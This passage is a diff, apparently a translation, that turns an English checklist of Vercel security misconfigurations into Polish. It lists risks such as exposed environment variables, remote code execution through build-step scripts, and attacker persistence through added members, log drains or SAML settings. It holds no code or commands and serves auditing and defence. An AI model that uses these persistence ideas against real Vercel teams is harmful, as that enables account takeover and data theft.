or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. -- **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Ujawnianie wrażliwych zmiennych** +- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta. +- **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych. +- **Wrażliwe wyłączone** +- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów. +- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji. +- **Wspólne zmienne środowiskowe** +- **Błędna konfiguracja:** To są zmienne środowiskowe ustawione na poziomie Zespołu i mogą również zawierać wrażliwe informacje. +- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji. --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**Cel:** Konfiguracja integracji repozytoriów Git, ochrony gałęzi i wyzwalaczy wdrożeń. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **Zignorowany krok budowy (TODO)** +- **Błędna konfiguracja:** Wygląda na to, że ta opcja pozwala skonfigurować skrypt/komendy bash, które będą wykonywane, gdy nowy commit zostanie przesłany do Github, co może umożliwić RCE. +- **Ryzyko:** TBD --- -### Integrations +### Integracje -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**Cel:** Łączenie usług i narzędzi zewnętrznych w celu zwiększenia funkcjonalności projektu. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. -- **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. -- **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **Niebezpieczne integracje zewnętrzne** +- **Błędna konfiguracja:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi. +- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wycieków danych lub tylnej furtki przez skompromitowane integracje. +- **Nadmierne uprawnienia integracji** +- **Błędna konfiguracja:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom. +- **Ryzyko:** Nieautoryzowany dostęp do zasobów projektu, manipulacja danymi lub zakłócenia usług. +- **Brak monitorowania integracji** +- **Błędna konfiguracja:** Nie monitorowanie i audytowanie integracji zewnętrznych. +- **Ryzyko:** Opóźnione wykrywanie skompromitowanych integracji, zwiększając potencjalny wpływ naruszeń bezpieczeństwa. --- -### Deployment Protection +### Ochrona wdrożeń -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać w twoich środowiskach. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -**Vercel Authentication** +**Autoryzacja Vercel** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **Błędna konfiguracja:** Wyłączanie autoryzacji lub brak egzekwowania kontroli członków zespołu. +- **Ryzyko:** Nieautoryzowani użytkownicy mogą uzyskać dostęp do wdrożeń, co prowadzi do naruszeń danych lub niewłaściwego użycia aplikacji. -**Protection Bypass for Automation** +**Obejście ochrony dla automatyzacji** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **Błędna konfiguracja:** Publiczne ujawnienie sekretu obejścia lub używanie słabych sekretów. +- **Ryzyko:** Atakujący mogą obejść ochronę wdrożeń, uzyskując dostęp i manipulując chronionymi wdrożeniami. -**Shareable Links** +**Linki do udostępniania** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **Błędna konfiguracja:** Udostępnianie linków bez ograniczeń lub brak unieważnienia przestarzałych linków. +- **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, omijając autoryzację i ograniczenia IP. -**OPTIONS Allowlist** +**Opcje Allowlist** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **Błędna konfiguracja:** Umożliwienie zbyt szerokich ścieżek lub wrażliwych punktów końcowych. +- **Ryzyko:** Atakujący mogą wykorzystać niechronione ścieżki do wykonywania nieautoryzowanych działań lub omijania kontroli bezpieczeństwa. -**Password Protection** +**Ochrona hasłem** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Błędna konfiguracja:** Używanie słabych haseł lub ich niebezpieczne udostępnianie. +- **Ryzyko:** Nieautoryzowany dostęp do wdrożeń, jeśli hasła zostaną odgadnięte lub wyciekły. +- **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc. -**Deployment Protection Exceptions** +**Wyjątki w ochronie wdrożeń** -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Błędna konfiguracja:** Nieumyślne dodawanie domen produkcyjnych lub wrażliwych do listy wyjątków. +- **Ryzyko:** Ujawnienie krytycznych wdrożeń publicznie, co prowadzi do wycieków danych lub nieautoryzowanego dostępu. +- **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc. -**Trusted IPs** +**Zaufane adresy IP** -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +- **Błędna konfiguracja:** Nieprawidłowe określenie adresów IP lub zakresów CIDR. +- **Ryzyko:** Blokowanie legalnych użytkowników lub uzyskiwanie dostępu przez nieautoryzowane adresy IP. +- **Uwaga:** Dostępne w planie **Enterprise**. --- -### Functions +### Funkcje -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**Cel:** Konfiguracja funkcji bezserwerowych, w tym ustawień czasu wykonywania, alokacji pamięci i polityk bezpieczeństwa. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Nothing** +- **Nic** --- -### Data Cache +### Pamięć podręczna danych -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**Cel:** Zarządzanie strategiami i ustawieniami pamięci podręcznej w celu optymalizacji wydajności i kontroli przechowywania danych. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **Opróżnij pamięć podręczną** +- **Błędna konfiguracja:** Umożliwia usunięcie całej pamięci podręcznej. +- **Ryzyko:** Nieautoryzowani użytkownicy usuwający pamięć podręczną prowadzący do potencjalnego DoS. --- -### Cron Jobs +### Zadania Cron -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**Cel:** Planowanie zautomatyzowanych zadań i skryptów do uruchamiania w określonych odstępach czasu. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Wyłącz zadanie Cron** +- **Błędna konfiguracja:** Umożliwia wyłączenie zadań cron zadeklarowanych w kodzie. +- **Ryzyko:** Potencjalne przerwanie usługi (w zależności od tego, do czego miały służyć zadania cron). --- -### Log Drains +### Odpływy logów -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**Cel:** Konfiguracja zewnętrznych usług logowania w celu rejestrowania i przechowywania logów aplikacji do monitorowania i audytowania. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- Nothing (managed from teams settings) +- Nic (zarządzane z ustawień zespołu) --- -### Security +### Bezpieczeństwo -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**Cel:** Centralne miejsce dla różnych ustawień związanych z bezpieczeństwem wpływających na dostęp do projektu, ochronę źródła i inne. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -**Build Logs and Source Protection** +**Logi budowy i ochrona źródła** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **Błędna konfiguracja:** Wyłączanie ochrony lub publiczne ujawnianie ścieżek `/logs` i `/src`. +- **Ryzyko:** Nieautoryzowany dostęp do logów budowy i kodu źródłowego, co prowadzi do wycieków informacji i potencjalnego wykorzystania luk w zabezpieczeniach. -**Git Fork Protection** +**Ochrona forka Git** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **Błędna konfiguracja:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów. +- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne furtki. -**Secure Backend Access with OIDC Federation** +**Bezpieczny dostęp do backendu z OIDC Federation** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie parametrów OIDC lub używanie niebezpiecznych adresów URL wydawcy. +- **Ryzyko:** Nieautoryzowany dostęp do usług backendowych przez wadliwe przepływy autoryzacji. -**Deployment Retention Policy** +**Polityka przechowywania wdrożeń** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **Błędna konfiguracja:** Ustawienie zbyt krótkich okresów przechowywania (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych). +- **Ryzyko:** Niemożność wykonania rollbacków w razie potrzeby lub zwiększone ryzyko ujawnienia danych z starych wdrożeń. -**Recently Deleted Deployments** +**Ostatnio usunięte wdrożenia** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **Błędna konfiguracja:** Nie monitorowanie usuniętych wdrożeń lub poleganie wyłącznie na automatycznych usunięciach. +- **Ryzyko:** Utrata krytycznej historii wdrożeń, co utrudnia audyty i rollbacki. --- -### Advanced +### Zaawansowane -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**Cel:** Dostęp do dodatkowych ustawień projektu w celu dostosowania konfiguracji i zwiększenia bezpieczeństwa. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -**Directory Listing** +**Lista katalogów** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **Błędna konfiguracja:** Włączenie listy katalogów pozwala użytkownikom na przeglądanie zawartości katalogu bez pliku indeksu. +- **Ryzyko:** Ujawnienie wrażliwych plików, struktury aplikacji i potencjalnych punktów wejścia do ataków. --- -## Project Firewall +## Zapora projektu -### Firewall +### Zapora -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -**Enable Attack Challenge Mode** +**Włącz tryb wyzwania ataku** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **Błędna konfiguracja:** Włączenie tego poprawia obronę aplikacji webowej przed DoS, ale kosztem użyteczności. +- **Ryzyko:** Potencjalne problemy z doświadczeniem użytkownika. -### Custom Rules & IP Blocking +### Niestandardowe zasady i blokowanie IP -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **Błędna konfiguracja:** Umożliwia odblokowanie/zablokowanie ruchu. +- **Ryzyko:** Potencjalny DoS umożliwiający złośliwy ruch lub blokujący ruch legalny. --- -## Project Deployment +## Wdrożenie projektu -### Source +### Źródło -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **Błędna konfiguracja:** Umożliwia dostęp do odczytu pełnego kodu źródłowego aplikacji. +- **Ryzyko:** Potencjalne ujawnienie wrażliwych informacji. -### Skew Protection +### Ochrona przed rozbieżnościami -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **Błędna konfiguracja:** Ta ochrona zapewnia, że aplikacja klienta i serwera zawsze używają tej samej wersji, aby nie było rozbieżności, w których klient używa innej wersji niż serwer i dlatego się nie rozumieją. +- **Ryzyko:** Wyłączenie tego (jeśli włączone) może spowodować problemy z DoS w nowych wdrożeniach w przyszłości. --- -## Team Settings +## Ustawienia zespołu -### General +### Ogólne -#### Security Configurations: +#### Konfiguracje zabezpieczeń: - **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects -- **Delete Project** - - **Misconfiguration:** Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **Błędna konfiguracja:** Umożliwia przeniesienie wszystkich projektów do innego zespołu. +- **Ryzyko:** Atakujący może ukraść projekty. +- **Usuń projekt** +- **Błędna konfiguracja:** Umożliwia usunięcie zespołu ze wszystkimi projektami. +- **Ryzyko:** Usunięcie projektów. --- -### Billing +### Rozliczenia -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Limit kosztów Speed Insights** +- **Błędna konfiguracja:** Atakujący może zwiększyć tę liczbę. +- **Ryzyko:** Zwiększone koszty. --- -### Members +### Członkowie -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker persistence -- **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **Dodaj członków** +- **Błędna konfiguracja:** Atakujący może utrzymać trwałość, zapraszając konto, które kontroluje. +- **Ryzyko:** Trwałość atakującego. +- **Role** +- **Błędna konfiguracja:** Przyznawanie zbyt wielu uprawnień osobom, które ich nie potrzebują, zwiększa ryzyko konfiguracji Vercel. Sprawdź wszystkie możliwe role w [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles). +- **Ryzyko:** Zwiększenie narażenia Zespołu Vercel. --- -### Access Groups +### Grupy dostępu -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach. -**Potential Misconfigurations:** +**Potencjalne błędne konfiguracje:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **Nadmierne uprawnienia członków:** Przypisywanie ról z większymi uprawnieniami niż to konieczne, co prowadzi do nieautoryzowanego dostępu lub działań. +- **Nieprawidłowe przypisania ról:** Nieprawidłowe przypisanie ról, które nie odpowiadają obowiązkom członków zespołu, powodujące eskalację uprawnień. +- **Brak segregacji projektów:** Nieoddzielanie wrażliwych projektów, co pozwala na szerszy dostęp niż zamierzono. +- **Niewystarczające zarządzanie grupami:** Nieprzeglądanie ani nieaktualizowanie regularnie Grup Dostępu, co skutkuje przestarzałymi lub nieodpowiednimi uprawnieniami dostępu. +- **Niekonsekwentne definicje ról:** Używanie niespójnych lub niejasnych definicji ról w różnych Grupach Dostępu, co prowadzi do zamieszania i luk w zabezpieczeniach. --- -### Log Drains +### Odpływy logów -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **Odpływy logów do stron trzecich:** +- **Błędna konfiguracja:** Atakujący może skonfigurować Odpływ logów, aby ukraść logi. +- **Ryzyko:** Częściowa trwałość. --- -### Security & Privacy +### Bezpieczeństwo i prywatność -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. -- **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **Domena e-mail zespołu:** Po skonfigurowaniu to ustawienie automatycznie zaprasza osobiste konta Vercel z adresami e-mail kończącymi się na określonej domenie (np. `mydomain.com`) do dołączenia do twojego zespołu po rejestracji i na pulpicie. +- **Błędna konfiguracja:** +- Określenie niewłaściwej domeny e-mail lub błędnie napisanej domeny w ustawieniu Domena e-mail zespołu. +- Używanie powszechnej domeny e-mail (np. `gmail.com`, `hotmail.com`) zamiast domeny specyficznej dla firmy. +- **Ryzyka:** +- **Nieautoryzowany dostęp:** Użytkownicy z adresami e-mail z niezamierzonych domen mogą otrzymać zaproszenia do dołączenia do twojego zespołu. +- **Ujawnienie danych:** Potencjalne ujawnienie wrażliwych informacji o projekcie nieautoryzowanym osobom. +- **Chronione zakresy Git:** Umożliwia dodanie do 5 zakresów Git do twojego zespołu, aby zapobiec innym zespołom Vercel wdrażania repozytoriów z chronionego zakresu. Wiele zespołów może określić ten sam zakres, co umożliwia dostęp obu zespołów. +- **Błędna konfiguracja:** Nie dodawanie krytycznych zakresów Git do listy chronionej. +- **Ryzyka:** +- **Nieautoryzowane wdrożenia:** Inne zespoły mogą wdrażać repozytoria z zakresów Git twojej organizacji bez autoryzacji. +- **Ujawnienie własności intelektualnej:** Własny kod może zostać wdrożony i uzyskany poza twoim zespołem. +- **Polityki zmiennych środowiskowych:** Egzekwuje polityki dotyczące tworzenia i edytowania zmiennych środowiskowych zespołu. W szczególności możesz egzekwować, aby wszystkie zmienne środowiskowe były tworzone jako **Wrażliwe zmienne środowiskowe**, które mogą być odszyfrowane tylko przez system wdrożeniowy Vercel. +- **Błędna konfiguracja:** Utrzymywanie wyłączenia egzekwowania wrażliwych zmiennych środowiskowych. +- **Ryzyka:** +- **Ujawnienie sekretów:** Zmienne środowiskowe mogą być przeglądane lub edytowane przez nieautoryzowanych członków zespołu. +- **Naruszenie danych:** Wrażliwe informacje, takie jak klucze API i poświadczenia, mogą zostać wycieknięte. +- **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań wykonywanych przez członków zespołu. +- **Błędna konfiguracja:**\ +Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu. +- **Ryzyka:** +- **Naruszenia prywatności:** Ujawnienie wrażliwych działań użytkowników i danych. +- **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby zatuszować swoje ślady. +- **SAML Single Sign-On:** Umożliwia dostosowanie autoryzacji SAML i synchronizacji katalogów dla twojego zespołu, umożliwiając integrację z dostawcą tożsamości (IdP) w celu centralnej autoryzacji i zarządzania użytkownikami. +- **Błędna konfiguracja:** Atakujący może wprowadzić tylne furtki do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu. +- **Ryzyko:** Utrzymanie trwałości. +- **Widoczność adresów IP:** Kontroluje, czy adresy IP, które mogą być uważane za dane osobowe zgodnie z niektórymi przepisami o ochronie danych, są wyświetlane w zapytaniach monitorujących i odpływach logów. +- **Błędna konfiguracja:** Pozostawienie widoczności adresów IP włączonej bez potrzeby. +- **Ryzyka:** +- **Naruszenia prywatności:** Nieprzestrzeganie przepisów o ochronie danych, takich jak RODO. +- **Konsekwencje prawne:** Potencjalne grzywny i kary za niewłaściwe zarządzanie danymi osobowymi. +- **Blokowanie IP:** Umożliwia konfigurację adresów IP i zakresów CIDR, z których Vercel powinien blokować żądania. Zablokowane żądania nie przyczyniają się do twojego rozliczenia. +- **Błędna konfiguracja:** Może być nadużywana przez atakującego do zezwolenia na złośliwy ruch lub blokowania legalnego ruchu. +- **Ryzyka:** +- **Odmowa usługi dla legalnych użytkowników:** Blokowanie dostępu dla ważnych użytkowników lub partnerów. +- **Zakłócenia operacyjne:** Utrata dostępności usługi dla niektórych regionów lub klientów. --- -### Secure Compute +### Bezpieczne obliczenia -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Secure Compute** umożliwia bezpieczne, prywatne połączenia między funkcjami Vercel a środowiskami backendowymi (np. bazami danych) poprzez ustanowienie izolowanych sieci z dedykowanymi adresami IP. To eliminuje potrzebę publicznego ujawniania usług backendowych, zwiększając bezpieczeństwo, zgodność i prywatność. -#### **Potential Misconfigurations and Risks** +#### **Potencjalne błędne konfiguracje i ryzyka** -1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. -2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. -3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. -4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. -5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. -6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. -7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. -8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. -9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. -10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +1. **Nieprawidłowy wybór regionu AWS** +- **Błędna konfiguracja:** Wybór regionu AWS dla sieci Secure Compute, który nie odpowiada regionowi usług backendowych. +- **Ryzyko:** Zwiększone opóźnienia, potencjalne problemy z zgodnością z przepisami o rezydencji danych i pogorszenie wydajności. +2. **Nakładające się bloki CIDR** +- **Błędna konfiguracja:** Wybór bloków CIDR, które nakładają się na istniejące VPC lub inne sieci. +- **Ryzyko:** Konflikty sieciowe prowadzące do nieudanych połączeń, nieautoryzowanego dostępu lub wycieku danych między sieciami. +3. **Nieprawidłowa konfiguracja peeringu VPC** +- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie peeringu VPC (np. błędne identyfikatory VPC, niekompletne aktualizacje tabeli tras). +- **Ryzyko:** Nieautoryzowany dostęp do infrastruktury backendowej, nieudane bezpieczne połączenia i potencjalne naruszenia danych. +4. **Nadmierne przypisania projektów** +- **Błędna konfiguracja:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji. +- **Ryzyko:** Wspólne ujawnienie IP zwiększa powierzchnię ataku, potencjalnie pozwalając skompromitowanym projektom wpływać na inne. +5. **Niewystarczające zarządzanie adresami IP** +- **Błędna konfiguracja:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP. +- **Ryzyko:** Fałszowanie IP, luki w śledzeniu i potencjalne umieszczanie na czarnej liście, jeśli IP są powiązane z działalnością złośliwą. +6. **Niepotrzebne dodawanie kontenerów budowlanych** +- **Błędna konfiguracja:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy. +- **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu i niepotrzebne zużycie zasobów sieciowych. +7. **Brak bezpiecznego zarządzania sekretami obejścia** +- **Błędna konfiguracja:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do obejścia ochrony wdrożeń. +- **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, co pozwala atakującym manipulować lub wdrażać złośliwy kod. +8. **Ignorowanie konfiguracji awaryjnych regionów** +- **Błędna konfiguracja:** Nie skonfigurowanie pasywnych regionów awaryjnych lub błędne skonfigurowanie ustawień awaryjnych. +- **Ryzyko:** Przestoje usług podczas awarii głównego regionu, co prowadzi do zmniejszonej dostępności i potencjalnej niespójności danych. +9. **Przekroczenie limitów połączeń peeringu VPC** +- **Błędna konfiguracja:** Próba nawiązania większej liczby połączeń peeringu VPC niż dozwolony limit (np. przekroczenie 50 połączeń). +- **Ryzyko:** Niemożność bezpiecznego połączenia z niezbędnymi usługami backendowymi, co powoduje niepowodzenia wdrożeń i zakłócenia operacyjne. +10. **Niebezpieczne ustawienia sieciowe** +- **Błędna konfiguracja:** Słabe zasady zapory, brak szyfrowania lub niewłaściwa segmentacja sieci w sieci Secure Compute. +- **Ryzyko:** Przechwytywanie danych, nieautoryzowany dostęp do usług backendowych i zwiększona podatność na ataki. --- -### Environment Variables +### Zmienne środowiskowe -**Purpose:** Manage environment-specific variables and 